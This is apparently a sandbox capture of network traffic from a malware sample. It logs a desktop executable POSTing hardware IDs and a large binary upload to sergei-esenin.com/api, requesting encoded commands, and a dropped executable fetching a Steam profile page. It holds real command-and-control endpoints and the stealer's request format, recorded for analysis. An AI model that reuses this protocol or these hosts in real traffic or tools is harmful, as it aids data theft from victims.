2024-10-24 17:29:16 UTC	1020	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 17:29:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ke3kvv77r1h7c52jbss919l96o; expires=Mon, 17 Feb 2025 11:15:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=odQceaRP2v%2BnrAWx96O6LN31Cd04FIOz9f2sGNyx9A4GweWvFzNngT%2FewMD65wZvgC6urKb%2F22C5tA4s5DKTQ56ERxUKkSTkoMhQ95TvpzxepMPNHUB1lzSzT7NVSmwa%2FMtIcQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7bb023a933478c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1033&sent=9&recv=25&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21624&delivery_rate=2784615&cwnd=251&unsent_bytes=0&cid=7693702231500d15&ts=749&x=0"
2024-10-24 17:29:16 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 17:29:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49712	104.21.53.8	443	4500	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 17:29:17 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=d3Jso_adyzcO2B3lrCahXYqWRvy9dekC2vvMQ8t.O7o-1729790950-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1255 Host: sergei-esenin.com
2024-10-24 17:29:17 UTC	1255	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 44 46 38 36 34 46 34 46 32 32 43 44 46 35 45 34 45 34 42 30 45 36 39 34 39 42 37 38 34 36 30 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CDF864F4F22CDF5E4E4B0E6949B78460--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 17:29:18 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 17:29:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7dtrhsvpdh9p4393a5uc6u5bcj; expires=Mon, 17 Feb 2025 11:15:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X9kNefveduI25%2F%2BjF9f6olC%2B09U4AqwGDOO8dkHIffmFqRkJnvRKFNn7yRcsfhpxDT6hGP3svNto1jGOlukNDwdfwo1krxAIiMtBQ1Z4XXCDgo43jj8nKbXl1UPDT%2FKAu3bUTg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7bb02defeee71a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2020&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2262&delivery_rate=1423795&cwnd=250&unsent_bytes=0&cid=dadb98aa94e49184&ts=538&x=0"
2024-10-24 17:29:18 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 17:29:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49713	104.21.53.8	443	4500	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 17:29:19 UTC	373	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=d3Jso_adyzcO2B3lrCahXYqWRvy9dekC2vvMQ8t.O7o-1729790950-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 572053 Host: sergei-esenin.com
2024-10-24 17:29:19 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 44 46 38 36 34 46 34 46 32 32 43 44 46 35 45 34 45 34 42 30 45 36 39 34 39 42 37 38 34 36 30 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CDF864F4F22CDF5E4E4B0E6949B78460--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 17:29:19 UTC	15331	OUT	Data Raw: 71 00 b3 79 32 82 1d 24 08 ed 10 43 5f e7 20 51 fe 15 0d 84 c1 96 ab 51 6a 7a f8 41 b2 e1 e6 72 34 8e 74 d0 bc 86 8e d6 b3 03 51 07 38 1e 6e 8c 99 8d 44 7d b4 f4 83 70 86 6c 81 26 f3 dd 26 5a b0 7e 57 ee b7 9f 9d f6 ec cf ee 32 51 21 49 3a b4 6a 48 bb 08 89 73 10 d8 e2 e1 c5 7b f5 5f fc 60 a4 c1 4e ca 62 b3 c1 42 7c ad dc a6 c2 8c 61 c4 e2 03 d3 f1 0d 07 21 2a 99 91 83 28 ad 35 cd 99 97 ab c0 ff 00 4d 1b 1d 4c 00 d3 fd e8 a5 9d 40 4a 88 4a ca e6 0d c3 12 14 b5 39 3e e6 89 fa 93 dd 96 f0 ae 90 d0 62 c2 e2 eb 54 4d 9e 24 d4 6e b9 40 fa 19 06 86 ec 91 ff f8 89 d5 49 3d d7 55 c8 ad cb aa 21 3b ba 01 a1 33 28 76 de 38 12 18 2d dd 6c 54 6b bb c5 b4 98 6a d9 d1 b3 7a bd a9 9e 57 1f 1b 9a 01 59 f2 90 65 a3 63 e1 19 d4 f1 3b ad 41 5c 7b 0c 4c 87 26 56 b9 95 19 7b Data Ascii: qy2$C_ QQjzAr4tQ8nD}pl&&Z~W2Q!I:jHs{_`NbB\|a!*(5ML@JJ9>bTM$n@I=U!;3(v8-lTkjzWYec;A\{L&V{
2024-10-24 17:29:19 UTC	15331	OUT	Data Raw: 4a 2d 32 55 e5 2a 81 06 95 ed 97 af ea 33 96 91 e7 a4 ca e3 d2 84 a0 01 95 75 32 39 a3 7c 3d da c8 ac 3d f0 96 fa b0 e4 55 ae a6 b7 0a 4d 0d b7 54 8e 8f 65 24 53 53 ce 3a f1 09 89 f6 7c 58 10 92 1b 0b c6 c6 12 36 37 6b f1 72 92 3c 3d 7b 49 83 36 76 b6 3a bd 29 c8 b7 ee 78 a2 4b 32 15 0a 84 9c e3 ee ea ac 5c 9c 30 c1 cc 29 b2 9f 94 f8 78 1d 20 c7 86 d2 77 85 36 34 27 5e aa d5 df d9 fc fe ba 4f 9d d5 20 90 1e c6 cd a2 7f dd 70 7e 18 46 42 f5 3f 8a f4 e3 73 7d b5 bd bb e3 f8 33 94 63 fc 40 9a 12 90 89 4f 2d 39 75 47 86 9b f2 64 84 5e 33 52 dd 7e 29 6c a0 78 e8 d5 9b e1 19 ef b7 3f c5 58 2f 9d b9 4f 42 69 13 2a 6f 82 a6 57 1e 42 cc 4f 81 9c 2f 97 b4 c7 0d 02 39 e5 89 83 87 f2 33 84 19 23 56 1d 55 5d e1 8b 7b ad 62 8b 57 ad 67 6e 5b dd ad e6 8c 57 05 d5 0b f5 Data Ascii: J-2U3u29\|==UMTe$SS:\|X67kr<={I6v:)xK2\0)x w64'^O p~FB?s}3c@O-9uGd^3R~)lx?X/OBioWBO/93#VU]{bWgn[W
2024-10-24 17:29:19 UTC	15331	OUT	Data Raw: 13 30 16 15 f0 31 68 ae ef cb 61 2a c6 4a fc 75 19 6f 9e 19 0d e2 a2 ec 7a d2 e0 59 ad e6 0f 5d 16 b7 d7 37 c3 51 e2 1f 91 06 c9 93 5a 45 e2 54 20 ce b2 17 17 7b 4e be a8 8b 3b 49 ac 6d ae aa 2c b0 66 1b 44 2c 94 fc 76 d9 23 77 5e 41 70 50 7b 2b f0 77 db 19 e8 8c eb 51 cf 71 d0 79 7b 4c e1 0a fc b3 da 65 2a 82 a5 e4 58 da 71 3a 79 d2 f0 c1 4d e0 21 23 ff b4 55 77 a5 e1 47 f7 d7 99 81 ca 26 7b f4 34 db 37 74 93 59 d2 21 39 33 65 76 ec 07 7d 0f 4b 87 aa b9 b1 99 68 54 a1 3e 9e 15 e5 ba 5a 52 b8 11 bd 9e a3 35 29 7d b9 e6 17 39 ed 4e eb 6a fa 04 7b c7 dc ed aa 69 de 7f 7b db de 0e 89 09 b9 1d 8f 38 2b bf 54 87 5c c6 de 64 b5 b9 35 0d 5e 11 ac bc a1 4a 61 fb 8b af b6 0c 84 b8 ae e8 5d 71 58 a4 eb d2 2a 47 e4 91 e0 a3 c9 56 71 57 d5 83 f9 85 74 56 5f 53 44 9d Data Ascii: 01haJuozY]7QZET {N;Im,fD,v#w^ApP{+wQqy{LeXq:yM!#UwG&{47tY!93ev}KhT>ZR5)}9Nj{i{8+T\d5^Ja]qX*GVqWtV_SD
2024-10-24 17:29:19 UTC	15331	OUT	Data Raw: f4 d9 84 f5 b1 92 ef 89 8e 6a f9 2d 1c b9 ba 3b a3 78 43 78 42 08 94 bf c2 35 8f 9b 0d e3 fb 23 8a 70 91 20 41 80 e8 01 75 71 36 f5 00 9c 4c 28 37 98 44 5d 99 c4 38 57 6b ab e1 82 62 d9 88 bf 99 d8 c8 39 fd 72 50 96 27 e4 14 05 2b 82 6c 21 92 cc e2 1f 9b 50 95 95 fc 83 f6 e8 b0 4c 1b f2 25 ac f0 4b a5 ec 87 06 c6 11 65 26 d9 92 88 50 ce 73 12 d4 0e 73 56 c0 46 e1 59 47 9d e5 3c d5 dd 2a aa d5 2a ed 8d 0f ba ef 8e 43 97 88 d9 d3 eb 5c 66 7a 86 42 97 79 d7 73 64 f2 f9 b0 87 0c 73 dc 36 19 5a a5 52 ae f4 5d 03 af 3f 9a bb 80 cb f1 f3 ae 93 98 6f 2f 60 69 85 dc ed 95 a6 83 0c 0e 9c ba 35 ee 54 c1 85 04 9f 6e bd 6e e4 01 83 43 8e c3 d6 07 5d 30 c2 9b ef a7 fc 77 de d0 34 0d 50 97 76 bc 83 97 ae 08 21 77 56 aa 86 85 fd 15 53 7e 44 cd 30 f3 1a 9e 40 52 de 1f 80 Data Ascii: j-;xCxB5#p Auq6L(7D]8Wkb9rP'+l!PL%Ke&PssVFYG<**C\fzBysds6ZR]?o/`i5TnnC]0w4Pv!wVS~D0@R
2024-10-24 17:29:19 UTC	15331	OUT	Data Raw: 18 c7 fe 96 3d 1d 81 27 1c d4 54 3b 2e ad e2 16 97 29 ed 33 56 ff fe cd e2 06 7e d2 b0 c0 ce 7b ed 99 6a 7a e4 32 71 28 e7 fe f2 3d 1c b0 62 b6 55 0b 55 1c 70 fa 6c 1a de aa 5e a2 25 f0 ed 2e cd 64 3e ad d4 43 8b 18 b8 88 15 49 f1 9a 91 a6 d9 59 28 29 c2 7e d0 f8 29 89 d8 c2 7f d3 b4 ea 9d 45 e3 6a 9c 85 47 64 08 e3 06 78 71 84 fa 54 8b 06 5e dd eb 3e 3d 25 7f 64 b5 e9 f1 ee 8c 16 f3 c6 78 15 2d e8 3f 5f e2 c9 30 15 02 15 08 47 b8 d7 dd cf 7a 63 5d 25 e5 5c 06 93 4a b4 3b 50 5f 9a 75 f2 eb fd 84 c7 8d 4f d7 ca 29 8b 7e 5d 74 60 7a 67 25 c0 57 39 fa 73 62 bb ce f9 f5 6c a6 48 2c 9d c7 64 88 52 c3 fe f2 62 56 98 b6 49 27 c0 9a 4d 32 ba e0 fd fc 30 5f 83 b2 4a 24 91 e8 b9 62 9c 49 00 7f 46 02 c2 01 ba cb 5d b5 55 17 ba 22 9a b9 d8 e7 0a 47 2a 1f 41 ba 65 0e Data Ascii: ='T;.)3V~{jz2q(=bUUpl^%.d>CIY()~)EjGdxqT^>=%dx-?_0Gzc]%\J;P_uO)~]t`zg%W9sblH,dRbVI'M20_J$bIF]U"G*Ae
2024-10-24 17:29:19 UTC	15331	OUT	Data Raw: 12 52 4a 02 46 57 6c 82 d5 e4 3c de 53 1e 38 95 1b f8 4b 0f cd c2 34 d5 ab b1 cb 11 0b 1e fd 2e 95 6f 9c af a2 1d 89 a8 0d 08 56 a4 32 8f 09 c0 ce 98 ef b3 21 4f 51 d4 7a 86 05 60 5e 61 1d 3d 8c ac c5 bf 41 0f 07 f1 b9 05 e2 a0 12 49 f9 fe cc 1b bc e1 e6 6e 2d 0d a4 2c a8 77 e1 aa a0 7b e6 59 99 58 8c 9a c4 c1 58 1b 61 b0 96 09 1a ba 2a f0 4b 21 ed a8 99 81 18 14 cf 55 43 f7 6c 5f ec 89 04 7a 5e 72 89 31 5f 53 f8 cb 0d 90 94 cf 4c 08 8d 20 eb ee 27 b4 6d f5 66 5d 06 da 3a 57 03 5c 9b f7 8e 1e 5f f8 32 43 99 9e fc ac b1 a2 fe 70 36 69 d1 98 92 3e 8c e6 f8 66 2a ce e7 3c 04 f5 7d bf b4 a4 95 bd b9 bd 6f e9 52 e0 82 9a a1 84 ca 49 a4 18 f7 fc e8 07 e5 7a 80 c4 be d4 75 3f 2d 1c 2f 73 59 e0 35 68 ac ab 97 61 d7 61 7d 08 54 76 4a 38 3b 53 46 7f df f6 22 3d 54 Data Ascii: RJFWl<S8K4.oV2!OQz`^a=AIn-,w{YXXaK!UCl_z^r1_SL 'mf]:W\_2Cp6i>f<}oRIzu?-/sY5haa}TvJ8;SF"=T
2024-10-24 17:29:19 UTC	15331	OUT	Data Raw: 96 da 09 2a 3c 73 ce 1d 28 5c b4 a2 9f 42 d0 bc 2c b9 60 e7 4b 87 60 8d 2b c0 6d 58 3d 7d cf f3 6b 3c 9e 8c c3 5a 17 52 b8 2f 4a 87 67 40 54 ce e6 b9 00 41 3a 10 cd eb 81 51 df db 9f 03 34 73 ce 6e 72 a6 7c 5c 76 92 14 bd 02 ac 1f 30 70 20 be 4d 8c de cd 07 8e fc a7 b9 7d f1 b4 dc bc 5d d8 fc 68 5d 3c 98 6d 31 50 32 22 29 ae 17 79 19 3c 0e 2f e1 e8 d4 ec 83 44 8b d8 dd 1d 57 2d 24 a1 95 53 38 49 95 0a 5b 4b 87 db 6c d5 05 c1 36 5c 17 ef f0 ec ec 6a f3 a8 b6 08 fd 8b 78 08 a1 63 8e 70 09 4c 69 28 5c 18 bb f7 84 3f c7 e2 bc 73 5d 9a 80 69 f6 73 6d 94 b7 79 37 d1 69 af 71 65 90 04 d4 58 d1 8a e4 4d ac 0f 5d e0 1d d5 f7 c3 bc 71 e1 ca 5d 55 41 33 d6 b4 5b 77 7f a6 16 79 b3 1f 5d ab 45 8b 5d c6 ec 1d 8c a4 61 8e 4d 7c d3 0a ff 5f eb a2 95 ce 5f d9 ee 6f c5 a9 Data Ascii: *<s(\B,`K`+mX=}k<ZR/Jg@TA:Q4snr\|\v0p M}]h]<m1P2")y</DW-$S8I[Kl6\jxcpLi(\?s]ismy7iqeXM]q]UA3[wy]E]aM\|__o
2024-10-24 17:29:19 UTC	15331	OUT	Data Raw: 18 8a 24 45 c3 1b a9 df 6d 53 9a 22 27 4b 3b 98 21 2e 44 b3 53 44 60 f8 f8 3e 8a 68 7d 82 f7 52 79 63 88 a1 c8 b3 cc c1 72 2e 05 2c 56 6c 7f 2d 65 f3 1d 77 f7 3a 4f 77 99 11 09 c9 b5 c7 d9 10 1c 40 c6 e2 00 93 1e 8e 7e ab e1 78 df 57 c2 49 05 10 eb c6 b0 d2 b5 1a 4f 22 11 a2 07 ca 91 0f 81 9c e5 e1 cb 28 b1 76 fe 0e 47 05 98 c4 cf 04 2c a2 1f 4b 11 74 9a aa 90 64 12 29 bb 57 35 c8 b9 a8 a8 a5 a4 0f 20 d9 8b 14 eb 4d 3e 03 5f f2 32 90 e4 2b 63 60 19 58 20 8e 4e 9c 15 e6 a3 59 72 96 17 70 25 97 11 87 90 45 81 53 a1 17 50 b0 75 53 68 bd 01 6e e9 36 bd 9d f1 13 b4 37 68 9d 09 e7 de a5 24 29 19 1a 0a 40 b2 27 2c 68 86 05 8a 7b 87 08 57 16 71 84 c2 d8 2d 41 a6 00 17 62 e5 98 4c 9a 12 02 c2 96 a8 ed 62 59 d6 5c 08 0c 91 24 3b 40 a5 40 82 22 a3 03 67 60 6e 68 5e Data Ascii: $EmS"'K;!.DSD`>h}Rycr.,Vl-ew:Ow@~xWIO"(vG,Ktd)W5 M>_2+c`X NYrp%ESPuShn67h$)@',h{Wq-AbLbY\$;@@"g`nh^
2024-10-24 17:29:19 UTC	15331	OUT	Data Raw: 95 95 50 40 b7 b4 c7 68 6b 74 fa 8c c7 db a9 19 55 70 da 36 fd 0b be 27 0b 0e 1d 98 4a 09 f4 20 9f 35 b1 95 9d a8 08 b8 dd 30 0d d5 79 94 b6 24 52 c2 68 ec fc d5 80 98 fd 38 0f e8 76 31 28 7a cd 3a 6e 65 ec df 76 f3 de db 2a 42 1c f2 c5 be 97 cb e3 4f ff db aa 74 1e 15 26 93 f7 28 2c cf 06 0e 61 b0 f9 dd d6 fb cf 48 5f 5c 09 72 fd fd f1 55 b4 41 c1 62 42 6a c9 10 cd 27 d3 e1 54 fc 68 e8 ca 93 f5 be 3b 34 7d 66 ea 7c 7e e4 c3 b4 00 96 2f 7f ac 37 84 9f e0 8d 6f bc 39 83 57 fa 6e 4a 4c a1 37 49 df 60 49 1f b0 0b 9a 91 08 70 58 79 53 e1 ab c4 1b c5 2e 34 ad 26 45 67 5a 67 1c 2e 00 ec bf d9 37 75 58 93 1d c5 7e ce dc 37 41 de 7f b5 86 10 dc 40 2a 34 02 48 09 08 af e0 43 ae cc ba 20 90 5c 02 a0 7f ed 1f ef 0d 56 16 65 ed 43 ee 7d 83 45 d8 a4 93 7f ff f5 35 1a Data Ascii: P@hktUp6'J 50y$Rh8v1(z:nevBOt&(,aH_\rUAbBj'Th;4}f\|~/7o9WnJL7I`IpXyS.4&EgZg.7uX~7A@4HC \VeC}E5
2024-10-24 17:29:21 UTC	1019	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 17:29:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1k0v4uq54f2hpqtsi3m7fr2bn9; expires=Mon, 17 Feb 2025 11:16:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tDRqay8g9LezEp6GiUTx9YQZ6Z7PUWMaWa16MelZDvNHBuzklCGh3l1DwFUgoThIlSd2LRa1I3OWXf2gUgamK9QTsRcu5LVEnIsfVut1d%2FgvTeHNYknWXU55zxek0e3DetHhgA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7bb039ffed2e2d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1303&sent=231&recv=628&lost=0&retrans=0&sent_bytes=2845&recv_bytes=574690&delivery_rate=2190620&cwnd=251&unsent_bytes=0&cid=9fb4e4d38eab0337&ts=1734&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49716	104.21.53.8	443	4500	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 17:29:21 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=d3Jso_adyzcO2B3lrCahXYqWRvy9dekC2vvMQ8t.O7o-1729790950-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: sergei-esenin.com
2024-10-24 17:29:21 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 43 44 46 38 36 34 46 34 46 32 32 43 44 46 35 45 34 45 34 42 30 45 36 39 34 39 42 37 38 34 36 30 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=CDF864F4F22CDF5E4E4B0E6949B78460
2024-10-24 17:29:22 UTC	1022	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 17:29:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9909vdrnbadavcev3ks7vod56o; expires=Mon, 17 Feb 2025 11:16:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LOv5f963o0CBy5WunpBXl%2BbdWeGd9x0sO%2BDSNORHQOng19ImtLaYkh3Vdj1V7T8MaNo6%2B4e56Ljy5y9ZurqN1tlEvggy9MXOOLI%2FfP7yYHnlgp%2Bvvue%2BerAQackJd9u61oleDg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7bb048786be86f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1857&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=1077&delivery_rate=1531464&cwnd=251&unsent_bytes=0&cid=76cdf76ae3c96615&ts=525&x=0"
2024-10-24 17:29:22 UTC	299	IN	Data Raw: 31 32 34 0d 0a 45 35 64 44 74 4b 42 72 31 2f 58 6d 64 50 35 4e 78 38 59 45 6d 59 73 4b 76 43 6f 44 4b 79 52 54 4c 62 2b 66 38 76 4a 61 59 2b 74 49 37 47 48 42 67 6c 48 31 6e 5a 49 41 6a 6e 65 62 36 56 69 32 75 6a 4b 4a 42 44 45 61 45 58 30 63 6a 71 7a 63 77 32 77 2f 78 48 37 2b 4c 64 48 38 52 4b 57 55 69 42 43 52 49 4f 6d 6a 66 50 79 70 4a 70 35 4d 64 77 6b 65 59 77 47 64 2b 74 44 49 61 68 37 48 61 4c 55 32 6c 70 70 4a 76 34 47 53 42 4d 51 52 36 4a 6f 72 71 4c 4d 2f 6b 68 67 79 48 67 70 69 48 49 79 78 77 38 51 47 54 4a 68 6e 38 69 4c 5a 2f 45 53 6c 6c 49 67 51 6b 53 44 70 6f 33 7a 38 71 53 61 65 54 48 63 4a 48 6d 4d 42 6e 66 72 51 79 47 6f 65 78 32 69 31 4e 70 61 61 53 62 2b 42 6b 67 54 45 45 65 69 61 4b 36 69 7a 50 35 49 59 4d 68 34 4b 59 68 79 4d 73 63 Data Ascii: 124E5dDtKBr1/XmdP5Nx8YEmYsKvCoDKyRTLb+f8vJaY+tI7GHBglH1nZIAjneb6Vi2ujKJBDEaEX0cjqzcw2w/xH7+LdH8RKWUiBCRIOmjfPypJp5MdwkeYwGd+tDIah7HaLU2lppJv4GSBMQR6JorqLM/khgyHgpiHIyxw8QGTJhn8iLZ/ESllIgQkSDpo3z8qSaeTHcJHmMBnfrQyGoex2i1NpaaSb+BkgTEEeiaK6izP5IYMh4KYhyMsc
2024-10-24 17:29:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49979	104.102.49.254	443	7836	C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 17:30:14 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-24 17:30:14 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 24 Oct 2024 17:30:14 GMT Content-Length: 35741 Connection: close Set-Cookie: sessionid=c47dc4c1ed1f9743b0e96b4a; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=None
2024-10-24 17:30:14 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 